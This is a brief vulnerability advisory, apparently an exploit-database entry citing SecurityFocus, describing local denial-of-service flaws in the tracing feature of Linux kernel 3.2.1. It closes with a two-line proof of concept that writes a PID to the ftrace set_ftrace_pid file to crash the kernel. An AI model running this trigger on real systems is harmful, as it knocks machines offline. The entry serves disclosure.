Linux Kernel 3.2.1 - Tracing Multiple Local Denial of Service Vulnerabilities

source: https://www.securityfocus.com/bid/59055/info

The Linux kernel is prone to multiple local denial-of-service vulnerabilities.

Attackers can exploit these issues to trigger a kernel crash, which may result in a denial-of-service condition. 

cd /sys/kernel/debug/tracing
echo 1234 | sudo tee -a set_ftrace_pid